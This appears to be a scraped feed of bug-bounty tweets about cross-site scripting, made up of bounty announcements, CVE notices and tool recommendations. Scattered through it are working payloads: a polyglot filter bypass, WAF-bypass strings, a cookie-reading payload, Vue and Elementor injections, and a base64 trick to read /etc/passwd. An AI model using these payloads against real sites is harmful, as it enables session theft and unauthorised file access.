Make sure you are using Trusted Service when using alternatives to XssHunter Imagine you got 50+ Payload fired but not able to login your so called XssHunter alternatives #bugbounty #xss

profile

Rahmat Qurishi

@RahmatQurishi2 years ago

I earned $100 for my submission on @bugcrowd 1.Signed up to main website. 2.browsed subdomains, found an endpoint that was vulnerable to xss Payload: <script>alert(origin)</script> Easy bug🙂 #ItTakesACrowd #BugBounty

profile

Lewis

@0reoSec2 years ago

@ptswarm: 💬 New article by our researcher Aleksey Solovev: "MyBB <= 1.8.31: Remote Code Execution Chain". 🐞 Abusing Nested Parsers Conditions for getting XSS 🐞 From Privileged SQL Injection to RCE Read the article: https://t.co/FrTXqlF0LK #cybersecurity #infosec @0reoSec

profile

PwnLab.Me

@PwnlabMe2 years ago

Detaylı bir XSS reposu; https://t.co/Yyr98j65Q4 #cybersecurity #git #github #xss #bugbounty

profile

XSS Report

@XssReport2 years ago

"We are truly delighted that you have received a reward by using our platform. We hope you will be able to receive even more beautiful rewards. Congratulations!" #xss #bugbounty via https://t.co/uVCBeExkBl https://t.co/qAkPogSvWb

profile

Jefferson Gonzales

@gonzxph2 years ago

XSSHunter Alternative Since the xsshunter will be deprecated this 1st of February here's the two alternative website you can try for blind xss 1. https://t.co/rHOI00NcUP 2. https://t.co/nUeMkoBwhZ by @CyberXplore #bugbountytips #BugBounty #xss

profile

Cyber Zilla

@SunilAd942142932 years ago

What tool do you use to automate blind xss??? #BugBounty #togetherwehitharder #bugbountytip

profile

Goziem

@g0ziem2 years ago

XSS Report is another alternative. Features: 1. XSS payloads 2. Info about where the payload fired. https://t.co/tqglrLHhD7 #bxsshunter #xss #bugbountytips #bxss #xsshunter #bxss

profile

🇮🇳 ! Bõt âmît

@Botami1432 years ago

### WAF / Cloudflare Bypass 25+ XSS Payloads #bugbountytips #BugBounty #bugbountytip #xss #cybersecuritytips #cybersecurity #sqlinjection #hacker #Hacking https://t.co/bfe2zuVtxI

profile

M1n@Cris

@Minacris890M2 years ago

What do you use for blind XSS hits these days? I've used @XssHunter before, but since it is going to be deprecated on Feb 1 I'm looking for an alternative #bugbountytips #bugbounty #xss

profile

Mike Takahashi

@TakSec2 years ago

Tips for getting into Bug Bounty - Part 2: 1. Pick a topic on @PortSwigger Web Security Academy, such as XSS: https://t.co/wioDWTzs9W 2. Hack the labs for that vulnerability type 3. If you can't beat one out, look at the answer and learn how it works #infosec #bugbountytips https://t.co/Eou9nDEfED

profile

Crazy

@0PWorld2 years ago

Help : i found XSS Payload Fired On https://t.co/oUP5NjB7ha but when i try to open url say : This site can’t be reached how can i open it look pic #infosec #cybersecurity #cybersecuritytips #bugbountytips https://t.co/XAtwOd5BTs

profile

payloadartist

@payloadartist2 years ago

XSS using postMessage in Google Cloud Theia notebooks https://t.co/7VDivVojGJ By @sivaneshashok @kl_sree #infosec #bugbounty #bugbountytips #Hacking #cloudsecurity https://t.co/AIKGio2V0R

profile

7h3h4ckv157

@7h3h4ckv1572 years ago

The ultimate tool for discovering and reporting vulnerabilities. With BXSSHUNTER: 📢 https://t.co/JciPPOjHtF 1- XSS HUNTER Dashboard 2- Pro XSS Reports 3- Payload Tracking 4- Host Remote Payloads 5- Learning Hub 6- Instant XSS Alerts #infosec #BugBounty #bugbountytips #xss

profile

HackTube5

@HackTube52 years ago

3 One line Bug Bounty Tips #BugBounty 1. Always check for common vulnerabilities such as SQL injection, XSS, and CSRF. 2. Test for both known and unknown vulnerabilities by using both manual and automated testing methods. 3. Keep an eye out for subdomains and test them as well.

profile

LinuxSecurity

@lnxsec2 years ago

Want to scan for XSS vulns in your websites/web apps? Then look no further than Pwn XSS, a powerful tool used by malicious hackers & security professionals alike! Learn how to install & run Pwn XSS👇https://t.co/Lf8DN6BK3G Given it a try? What do you think? #infosec #Linux

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

Great news for the security community! bxsshunter by @CyberXplore is free for everyone & it has been developed for the community. #bugbountytips #xss #BugBounty #bxss #bxsshunter #blindxss #xsshunter https://t.co/dkpJfKFGhl

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

6- Instant XSS Alerts An Alternative To XSS Hunter From @CyberXplore For Any Queries Contact @bxsshunter or email us at [email protected] #xss #xsshunter #bxsshunter #cybersecurity #bugbountytips #bugbounty #BXSS #XSSHunter

profile

Th3Pr0xyB0y

@Th3Pr0xyB0y2 years ago

Improve your XSS hunting with BXSSHUNTER - Join our community for xss tips, instant notifications, easy reports, and a public profile to showcase your skills. signup now at https://t.co/VRQCgNtZht & elevate your game now! #bxsshunter #xss #bugbountytips #bxss #xsshunter #bxss https://t.co/10MrLU8OeO

profile

x1m

@x1m_martijn2 years ago

What do you use for blind XSS hits these days? I've used @XssHunter before, but since it is going to be deprecated on Feb 1 I'm looking for an alternative #bugbountytips #bugbounty #xss

profile

Sexcurity | Make love, not war!

@s3xcur1ty2 years ago

Mengintip Dashboard Admin Situs Haram (Bahasa Indonesia) - @kustirama https://t.co/4dHxxv3e9d #InfoSec #CyberSecurity #Security #XSS #BlindXSS #StoredXSS #WriteUp #BugHunting #BugBounty

profile

Securityblog

@Securityblog2 years ago

Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms | by Supakiad S. (m3ez) | Jan, 2023 | InfoSec Write-ups https://t.co/I1eFfLxuzw

profile

Pentester Academy

@SecurityTube2 years ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/PWE3GGCeUB

profile

Nur Rokhim

@Noerrokhim19972 years ago

XSS on the https://t.co/XtCggaGaGi Full video: https://t.co/Q7CvRc2nuk #cyber #BugBounty #cybersecurity # https://t.co/SmZmzUDaQp

profile

Muhammed Farish

@muhamedfarish2 years ago

https://t.co/MGw3kjtWKf #cybersecurity #bug #bugbounty #security #computerscience #networks #hacking #hacker #programming #ethicalhacking #pentesting #kalilinux #parrotos #coding #Fetlla #Medium #infosec

profile

Lu3ky13

@lu3ky132 years ago

Yay, I was awarded a $3100 bounty on @Hacker0x01! https://t.co/JRIv8Fju4i #TogetherWeHitHarder the first time I submitted an xss like this ><script>alert(1)</script> I bypassed JSON response second, after the fixed bug, I found a bypass with its payload #BugBounty #bugtips

profile

Marcos Furquim

@markinfurkin2 years ago

Mais um para o bug bounty #BugBounty #reverseengineering #xss https://t.co/4fajTQNS1Z

profile

RedPacket Security

@RedPacketSec2 years ago

HackerOne Bug Bounty Disclosure: xss-on-link-and-window-openerbypisarenko - https://t.co/uKxdZcWtSf #HackerOne #CVE #Vulnerability #OSINT #ThreatIntel #Cyber

profile

Thee Eclipse

@Thee_Eclipse2 years ago

A simple straight forward DOM XSS exploit in #jQuery at @PortSwigger by @intigriti #XSS #Hacking #hackingtools #intigriti https://t.co/a1RE8wgTSO

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ XSS on link and window.opener 👨💻 pisarenko ➟ Slack 🟧 Medium 💰 $1000.0 https://t.co/T2K6IuaMPD #bugbounty #bugbountytips #cybersecurity https://t.co/JeeeVS3Lab

profile

Сомьядип Мандал👾

@wtf_yodhha2 years ago

Credit @GodfatherOrwa url/?f=etc/passwd ==> 403 encode etc/passwd as base64 url/?f=L2V0Yy9wYXNzd2Q= ==> 200 #note you can use this trick in SQL , SSTI , XSS , LFI , Etc... #bugbountytips #bugbountytip https://t.co/c885FZ578v

profile

BlackClover

@Bc10ver2 years ago

Top story: @GodfatherOrwa: 'url/?f=etc/passwd ==> 403 encode etc/passwd as base64 url/?f=L2V0Yy9wYXNzd2Q= ==> 200 #note you can use this trick in SQL , SSTI , XSS , LFI , Etc... #bugbountytips #bugbountytip ' https://t.co/KNEOJ3hXJo, see more https://t.co/neOMbBi5Ty

profile

Begin n Bounty

@beginnbounty2 years ago

If the input is being reflected in a JavaScript context and is being passed through the encodeURIComponent function, it is possible to use certain characters to bypass the encoding and potentially execute an XSS attack. #AppSec #infosec

profile

Godfather Orwa 🇯🇴

@GodfatherOrwa2 years ago

url/?f=etc/passwd ==> 403 encode etc/passwd as base64 url/?f=L2V0Yy9wYXNzd2Q= ==> 200 #note you can use this trick in SQL , SSTI , XSS , LFI , Etc... #bugbountytips #bugbountytip https://t.co/vEd2UdjTMi

profile

Rohan.exe 🖤

@roohaa_n2 years ago

Yay, I was awarded a $550 bounty on @Hacker0x01! My First bounty ever :) Tip : Use your blind xss payload every where in contact form or in customer support #TogetherWeHitHarder #bugbounty #bugbountytips https://t.co/Q8lMOrKGR1

profile

iSecurity

@iSecurity2 years ago

Understanding the XSS Threat: A Comprehensive Guide to DOM Based Cross Site Scripting Vulnerability https://t.co/HSLW4e0hSX #cybersecurity #hacking #bugbounty

profile

Amit Kumar🇮🇳

@Amitlt22 years ago

Understanding the XSS Threat: A Comprehensive Guide to DOM Based Cross Site Scripting Vulnerability. #CyberSecurity #BugBounty #bugbountytip #xss #Hacking https://t.co/U10mMLB6Yd

profile

Linux Security Labs

@LSELabs2 years ago

Tool review: Pybelt (pentest toolkit) #xss #infosec #tools https://t.co/NRf1kIPJgV

profile

VIEH Group

@viehgroup2 years ago

Find hidden GET parameters in javascript files #bugbountytips #BugBounty #bugbountytip #xss #cybersecuritytips #cybersecurity #sqlinjection #hacker #Hacking https://t.co/P6AXRYz4L8

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0410): Cross-site Scripting (XSS) - Generic in builderio/qwik. https://t.co/rDeKNXZYUP Disclosed by https://t.co/I1YxmrfsDA, fixed by @adamdbradley... #opensource #CVE #bugbounty #security #vulnerability

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-22 Unique Tweets: 167 TOP 10 KEYWORDS 1: Cross 2: Site 3: Scripting 4: XSS 5: Request 6: Forgery 7: CSRF 8: WP 9: Injection 10: SQL bot-tweet #infosec #cybersecurity

profile

Pepe Venegas

@Pepe_V102 years ago

Cross-site Scripting - I have just completed this room: https://t.co/dFqbfD0yt2 #tryhackme #XSS #Cross-Site Scripting #DOM #Reflected XSS #Stored XSS #Blind XSS #Polyglot #xssgi via @realtryhackme #Security #ethicalhacking #Hacking #hacker #hackers #IT #learning

profile

azu

@azu_re2 years ago

見てる: "Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms | by Supakiad S. (m3ez) | Jan, 2023 | InfoSec Write-ups" https://t.co/xOemcB0IvJ

profile

Het Mehta

@hetmehtaa2 years ago

Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms #Infosec #BugBounty #CyberSecurity #xss https://t.co/Fls9DX4e1D

profile

CyberIQs

@CyberIQs_2 years ago

Reflected XSS Leads to 3,000$ Bug Bounty Rewards from Microsoft Forms #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

🇮🇳 ! Bõt âmît

@Botami1432 years ago

CRLF Injection to XSS #bugbountytips #BugBounty #bugbountytip #cybersecuritytips #cybersecurity #hacker #Hacking https://t.co/umuXV9fTdW

profile

Programmatic.Solutions

@Programmatoris2 years ago

Cross site scripting and the use of http-only cookies? - Visit https://t.co/E0jEgfOFhh for the answer. #xss #attack_vector #infosec #developers #developerlife

profile

Bhavesh Harmalkar 🇮🇳

@bhavesharmalkar2 years ago

#Learn365 Day 22: Read random blogs 1. Learn to build it, then break it 2. Reflected XSS Leads to 3,000$ 3. How I found XSS on Admin Page without login! 4. Critical bug on google by get full access on [Google Cloud BI Hackathon] (1/n) #cybersecurity #BugBounty

profile

iris

@IrisTech_2 years ago

108/365 Finished OWASP Top 10 room on TryHackMe. XSS Payloads are fun 🤭 #100DaysOfHacking #365DaysOfHacking #womenintech #cybersecurity #infosec #womenintech #TechTwitter

profile

Goziem

@g0ziem2 years ago

How can I use Nuclei to find xss bug #BugBounty #bugbountytips

profile

My Space!

@Supakiad_Mee2 years ago

I'm excited to share my latest write-up about vulnerability found on the Microsoft Security Response Center bug bounty program, which highlights the vulnerabilities I discovered and the rewards received. https://t.co/yCf49p3bK0 #bugbounty #cybersecurity #MSRC #ethicalhacking

profile

Constantin Mic

@ConstantinMic2 years ago

This polyglot XSS payload can still bypass to many filters: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e #bugbountytips #cybersecurity #it

profile

VassBot

@vassbot2 years ago

@hackuu_ you can Hey everyone! @Vassbot is the best when it comes to protecting your #WordPress site from Cross Site Scripting (XSS) vulnerabilities in Conversational Forms for ChatBot <= 1.1.6. Protect your website, trust the experts. #cybersecurity #hacking

profile

Fares Walid

@SirBagoza2 years ago

I have published my first write-up 🤭About: Using CSRF + XSS to account takeover 🥰🥰 https://t.co/iik0DrrPKT #BugBounty #bugbountytips #Hacking https://t.co/KeQiJCsq0b

profile

🇮🇳 ! Bõt âmît

@Botami1432 years ago

Find hidden GET parameters in javascript files #bugbountytips #BugBounty #bugbountytip #xss #cybersecuritytips #cybersecurity #sqlinjection #hacker #Hacking https://t.co/9EXrPGpdOO

profile

terjanq

@terjanq2 years ago

@irsdl @infosec_au Yeah. I did pwn a few cases where XSS was only on login page. The easiest is to open one window with auth content, do crsf-logout, open xss and read sensitive info from auth window (:

profile

InfoSec Ninja 🇮🇳

@InfosecMonk2 years ago

I completed the Web Security Academy lab: Reflected XSS into HTML context with nothing encoded: <script>alert(1)</script> @WebSecAcademy #xss #bugbounty #webappsec https://t.co/Sfs9LPgaEL

profile

at once

@atonce112206042 years ago

Calling all curious minds! Check out my latest Medium article on "Uncovering a Reflected XSS on a Public Bug Bounty Program" by clicking the link below. https://t.co/olEg7KFnSE Follow for more engaging content. #medium #article #community #BugBounty #xss #bugcrowd

profile

Goziem

@g0ziem2 years ago

How do I find xss using Nuclei? @pdnuclei #BugBounty #infosec #bugbountytips #xss #cybersecuritytips

profile

Drugs Hack

@DrugsHack2 years ago

Awesome #XSS https://t.co/FAccSSEzi8… #bugbounty #bugbountytips #cybersecurity https://t.co/P8k3SxO6Fd

profile

mnkeni francis

@MnkeniFrancis2 years ago

ronin-rb/ronin-vulns: Tests URLs for Local File Inclusion (LFI), Remote File Inclusion (RFI), SQL injection (SQLi), and Cross Site Scripting (XSS), Server Side Template In... #Cybersecurity #infosec #security via https://t.co/olBiC9iZIh https://t.co/LGoia3OJ38

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-21 Unique Tweets: 173 TOP 10 KEYWORDS 1: Cross 2: Site 3: Vigil 4: Scripting 5: XSS 6: Request 7: Forgery 8: CSRF 9: Vulnerability 10: RCE bot-tweet #infosec #cybersecurity

profile

iSecurity

@iSecurity2 years ago

What is cross-site scripting (XSS)? Web App Pen-testing https://t.co/yWBHulTC01 #cybersecurity #bugbounty #xssattack

profile

terjanq

@terjanq2 years ago

@irsdl @infosec_au You can steal credentials stored in a password manager in both scenarios. There are also a few tricks that let you "unauthenicate" a user for a moment, and then after XSS re-authenticate them.

profile

Stalwart

@the_unswerving2 years ago

XSS Powerful Methodology for Beginners #Infosec via https://t.co/yNOfVDx5DP https://t.co/XTKnCK4ZZj

profile

Anton

@therceman2 years ago

@infosec_au Or injecting custom payloads into local storage… and if there is a flaw in reflection on client-side can be used to achieve Stored-XSS too. So pre-auth XSS is bad, especially if you can find a way how to turn it into Stored XSS later.

profile

Anton

@therceman2 years ago

@infosec_au I believe that pre-auth XSS can be used for injecting custom cookies that later in some cases can be used to achieve Stored-XSS for auth users

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

XSS Methodology for Beginners full :⚔️🛡️ https://t.co/oFQ3ua4aaF #infosec #cybersec #bugbountytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

GlobalProtect XSS https://globalprotect/global-protect/login.esp?user=j%22;-alert(1)-%22x #infosecurity #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

You can bypass a WAF during a XSS attack on ASP(dot)NET-IIS technology by using a HTTP parameter pollution attack #infosecurity #bugbountytips https://t.co/9NoUy2CuEB

profile

CYBER4ALL

@cyber_4all2 years ago

Basic Linux Commands #linux #unix #terminal #commands #files #network #processes #compression #permissions #cyberattacks #cybersecurity #dataprivacy #infosec #malware #blueteam #Soc #phishing #xss #malicious_insiders #forensic #cyber4all #c4a #ethicalhacking #learning4all https://t.co/Ahb6PWpznk

profile

Ricardo Iramar

@ricardo_iramar2 years ago

@irsdl @infosec_au IMO cannot be compared with self-xss. Imagine a user receives a link from a valid domain with an encoded payload and it opens in a browser. The login page appears and the user provides the credentials. The xss payload sends the credentials directly to an attacker.

profile

Soroush Dalili 🗹

@irsdl2 years ago

@infosec_au Safe to say it is similar to self xss when it is unauth? or you think it can be worse? Obviously it is worse when user is authenticated

profile

Soroush Dalili 🗹

@irsdl2 years ago

@infosec_au I normally don’t think about pre or post auth when it comes to xss unless it is stored. You made me thinking 🤔

profile

Bug bounty notes

@bugbounty02 years ago

I Hope This Sticks: Analyzing ClipboardEvent Listeners for Stored XSS #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/7labBhSn6r

profile

Bug bounty notes

@bugbounty02 years ago

How I was able to steal users credentials via Swagger UI DOM-XSS #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/djTJmmaNoB

profile

Bug bounty notes

@bugbounty02 years ago

CVE-2022–42710: A journey through XXE to Stored-XSS #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/kyYNklvFwz

profile

Programmatic.Solutions

@Programmatoris2 years ago

Xssing without opening a new html tag < - Visit https://t.co/9snA7cDqGS for the solution. #web_application #xss #infosec #tech #engineering

profile

Programmatic.Solutions

@Programmatoris2 years ago

jQuery $.get HTML code and XSS - Visit https://t.co/VqKDI1pgX6 for the solution. #xss #ajax #jquery #infosec #peoplewhocode

profile

SentientJohnny

@SentientJohnny2 years ago

Change ones name in a certain, sacred way to perform an XSS attack on the Book of Life; hacking universalism into existence, or banning specific targets from Heaven.

profile

Mike Takahashi

@TakSec2 years ago

XSS Cookie Exfil by voiddy Payload w/ confirm: "/></div><div/OnpOinTeReNter=eval("var u='nt.c'.concat('ook'.concat('ie'));confirm(eval('do'.concat('cume'.concat(u))))")>click here<input type="hidden=alert https://t.co/PJRNsCWjFL #bugbounty

profile

infosec-jobs.com

@infosec_jobsCOM2 years ago

HIRING: Analyste CERT / Incident Responder senior (H/F) / Sèvres, France https://t.co/IsMfrD6a7L #InfoSec #InfoSecJobs #Cybersecurity #jobsearch #hiringnow #CyberCareers #Sèvres #France #ActiveDirectory #C #CISSP #Cloud #DDoS #EDR #Forensics #GCFA #GCIH #GIAC #Linux #XSS

profile

Priyanshu Sahay

@priyanshu_itech2 years ago

How To Do CSRF Exploitation By Using Stored XSS Vulnerability – #TUTORIAL [Video] https://t.co/cbmZOolVKl #penetrationtesting #infosec #security #hackersonlineclub #cybersecurity

profile

Hackers Online Club (HOC)

@HOCupdate2 years ago

How To Do CSRF Exploitation By Using Stored XSS Vulnerability – #TUTORIAL [Video] https://t.co/ApsPZ0W1AH #penetrationtesting #infosec #security #hackersonlineclub #cybersecurity

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0338): Cross-site Scripting (XSS) - Reflected in lirantal/daloradius. https://t.co/Od0ApQg1D7 Disclosed by https://t.co/E1qF4lGgfX, fixed by @filippolauria... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0337): Cross-site Scripting (XSS) - Reflected in lirantal/daloradius. https://t.co/JqMD4xSZdl Disclosed by https://t.co/E1qF4lGO5v, fixed by @filippolauria... #opensource #CVE #bugbounty #security #vulnerability

profile

LinuxSecurity

@lnxsec2 years ago

Want to scan for XSS vulns in websites/web apps?🔓 Then look no further than Pwn XSS, a powerful tool used by malicious hackers & security professionals alike. Learn how to install & run Pwn XSS👇👇 https://t.co/Lf8DN6ChTe Given it a try? What you think?🤔 #linux #infosec

profile

saad alhrby

@LazySaad2 years ago

i found this bug https://t.co/cjTtRl5eUo in website but xss didn`t triggred is it worths to report our leave it? btw it loads the source from https://t.co/i45lbZv9wR ... ... #bugbounty

profile

Programmatic.Solutions

@Programmatoris2 years ago

How to ensure that files uploaded by users do not contain any XSS code - Visit https://t.co/aFlWAx0jEa for the answer. #javascript #xss #threat_mitigation #infosec #programming

profile

Programmatic.Solutions

@Programmatoris2 years ago

Newline XSS vulnerability - Visit https://t.co/CZ0xU8Yfrt for the solution. #javascript #xss #infosec #programmer #developer

profile

Programmatic.Solutions

@Programmatoris2 years ago

Script tag loading "https://t.co/uHBy5hANKh" in e-commerce transaction data - real attack or something else? - Visit https://t.co/SS3savhjv5 for the answer. #attacks #xss #javascript #e_commerce #infosec

profile

Glênnio

@iGlennio2 years ago

Encontrei um XSS Stored no SIS da Rede Globo. O ataque foi identificado e corrigido em 30 minuto. Mas infelizmente para equipe, devido a demora estou a 3 passos a frente. #hacking #Pentesting #XSS #GloboNews #GloboNewsEmPonto #RedeBBB #RedeGlobo #CyberSecurityAwareness #BugBounty https://t.co/MISHpz4t5S

profile

fletch

@fletch_ai2 years ago

Fletch Top Threat Alert: Vulnerability Spotlight: XSS vulnerability in Ghost CMS - #CVE-2022-47194 #FletchScore = Medium/Emerging #CyberSecurity #ThreatIntel #InfoSec CVE-2022-47197 CVE-2022-47195 CVE-2022-47194 CVE-2022-47196 https://t.co/K9gQv9obyb

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-19 Unique Tweets: 410 TOP 10 KEYWORDS 1: Azure 2: MainWP 3: Extension 4: Cross 5: Site 6: Scripting 7: CVE 8: XSS 9: RCE 10: Vigil bot-tweet #infosec #cybersecurity

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Cookie exfiltration through XSS on the main search request of https://t.co/YmCo3V0SPU 👨💻 voiddy ➟ LocalTapiola 🟧 Medium 💰 $500.0 https://t.co/m3XCQvXP8c #bugbounty #bugbountytips #cybersecurity https://t.co/UQQvWqojN7

profile

CyberIQs

@CyberIQs_2 years ago

Vulnerability Spotlight: XSS vulnerability in Ghost CMS #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

ӉѦСҠіИԌ ҬЄѦӍ ԌГԱթѺ ѺҒіСіѦL

@HackingTeam12 years ago

XSS/WAF/SQL filter bypass. < - %EF%BC%9C (\uff1c) > - %EF%BC%9E (\uff1e) \ - %EF%BC%BC (\uff3c) / - %EF%BC%8F (\uff0f) ' - %EF%BC%87 (\uff07) " - %EF%BC%82 (\uff02) #bypass #xss #waf #sql 💻Comunidad de Ciberseguridad y Hacking 💻

profile

Mike Takahashi

@TakSec2 years ago

XSSHunter Discord Notifications by @AdamJSturge https://t.co/MmDY3oOLmk #bugbountytips #bugbounty #infosec #hacking #xss

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0323): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/tSa4CJILd7 Disclosed by https://t.co/6dCOfMLYmV, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

LinuxSecurity

@lnxsec2 years ago

Want to scan for XSS vulns in websites/web apps?🔓 Then look no further than Pwn XSS, a powerful tool used by malicious hackers & security professionals alike. Learn how to install & run Pwn XSS👇👇 https://t.co/Lf8DN6BK3G Given it a try? What you think?🤔 #linux #infosec https://t.co/Z76TgsA2MW

profile

Nithin 🦹‍♂️

@thebinarybot2 years ago

Name a concept in bug bounty you want me to write a detailed article on. Expecting something like IDOR, BAC etc. PS: Anything except XSS please 🙈 #bugbounty

profile

Mahmoud Abd Alkarim

@Maakthon2 years ago

#htmlspecialchars() function in PHP only encode ASCII characters. #XSS #bypass #bugbountytips #BugBounty #html #php #javascript #hacking https://t.co/NreVNzG99x

profile

Adam J Sturge

@AdamJSturge2 years ago

I added Discord to XSSHunter and wrote an article about how to set it up https://t.co/nzTPPJB6Wh #infosecurity #infosec #bugbountytips #Pentesting #Security #cybersecurity

profile

NetFiT.eth

@OnNetFiT2 years ago

An xss payload for a VueJS based application: {{_Vue.h.constructor`alert(1)`()}} {{$emit.constructor`alert(1)`()}} #BugBounty #bugbountytips #infosec #CyberSec

profile

Hot10Security

@Hot10Security2 years ago

Popular keywords used with #vulnerability tweets Date: 2023-01-18 Unique Tweets: 348 TOP 10 KEYWORDS 1: CVE 2: Scripting 3: XSS 4: Attacks 5: Git 6: Vulnerabilities 7: Injection 8: Data 9: Vulnerability 10: Cloud bot-tweet #infosec #cybersecurity

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0314): Cross-site Scripting (XSS) - Reflected in thorsten/phpmyfaq. https://t.co/lT0gndGcBK Disclosed by @aggressiveusers, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0313): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/rlmWPGlbZt Disclosed by https://t.co/jYCFhLpreW, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0312): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/JgA0kkLtS5 Disclosed by https://t.co/CO1HKk5eFz, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0310): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/49QPeEgxfW Disclosed by https://t.co/CO1HKk5eFz, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0309): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/SiIrXmJ8dT Disclosed by https://t.co/CO1HKk5eFz, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0308): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/fTIKyrhLuE Disclosed by https://t.co/CO1HKk5eFz, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0306): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/sbYdhQdGdo Disclosed by https://t.co/IJVlWK9pbV, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Alonso Caballero

@Alonso_ReYDeS2 years ago

Disponible el video del Webinar Gratuito: "Cross-Site Scripting (XSS)". #cybersecurity #hacking #readteam #bugbounty #forensics #osint 🎯 https://t.co/QU6ghIwHeR https://t.co/bjJyidjuRb

profile

Gokul A.P 

@CodingGokul2 years ago

Hey Guys, I have been rewarded with a P2 reward ! [+] Severity : P2 [+] Bug : XSS in Jira [+] Bounty : $400 Try to check for all the Old CVEs when You find Jira instance ! #bugbounty #pentesting #webpentesting #cybersecurity #hackerone #bugbountytips https://t.co/5aRznpSw24

profile

Nik H

@Nikahverse2 years ago

XSS mindmap =) https://t.co/EUrRhy0WYI #xss #mindmap #bugbounty #bugbountytips #cybersecuritytips #CyberSec https://t.co/sz6pZcb4fx

profile

CYBER4ALL

@cyber_4all2 years ago

Cybersecurity Attack Vectors #cyberattacks #cybersecurity #dataprivacy #infosec #malware #blueteam #Soc #phishing #xss #mitm #ransomware #SQLinjection #malicious_insiders #forensic #incidentresponse #cyber4all #c4a #ethicalhacking #learning4all https://t.co/G2c7znMeZh

profile

Anonymous H4ck3r

@AnonymousH4ck352 years ago

Some ModSecurity WAF bypass xss payload list:👇 🔥👇 #infosec #AppSec <svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))> <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))> <svg onload='new Function`[“_Y000!_”].find(al\u0065rt)`'>

profile

Willie Birch

@btcwin_2 years ago

XSS "403 forbidden" bypass write up #Cybersecurity #infosec #security via https://t.co/CCtqTjT3f6 https://t.co/97MmlOSANg

profile

RedTeam Pentesting

@RedTeamPT2 years ago

🚨🚨🚨 A critical vulnerability in Skyhigh Security's Secure Web Gateway has been fixed 🔥 https://t.co/DIP5rmu4js Make sure to update 🩹 Details will follow soon! #patchday #infosec #xss

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ DOM XSS at `https://t.co/toWqmx06j8{site}` due to outdated Swagger UI 👨💻 @i_eh_dreamer ➟ Adobe 🟧 Medium 💰 N/A https://t.co/ctyHLhYG5f #bugbounty #bugbountytips #cybersecurity https://t.co/vzC4LaTIpT

profile

spyx

@spyx_myky2 years ago

Wordpress Elementor DOM XSS still up there. CVE-2022-29455. Payload for "xss" pop up: https://site/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9Cg= #bugbountytip #bugbountytips https://t.co/fBbChseq0v

profile

Decode Decrypt

@DecodeDecrypt2 years ago

XSS "403 forbidden" bypass write up #Cybersecurity #infosec #security via https://t.co/a2QDS692i1 https://t.co/KDYA1dyOW9

profile

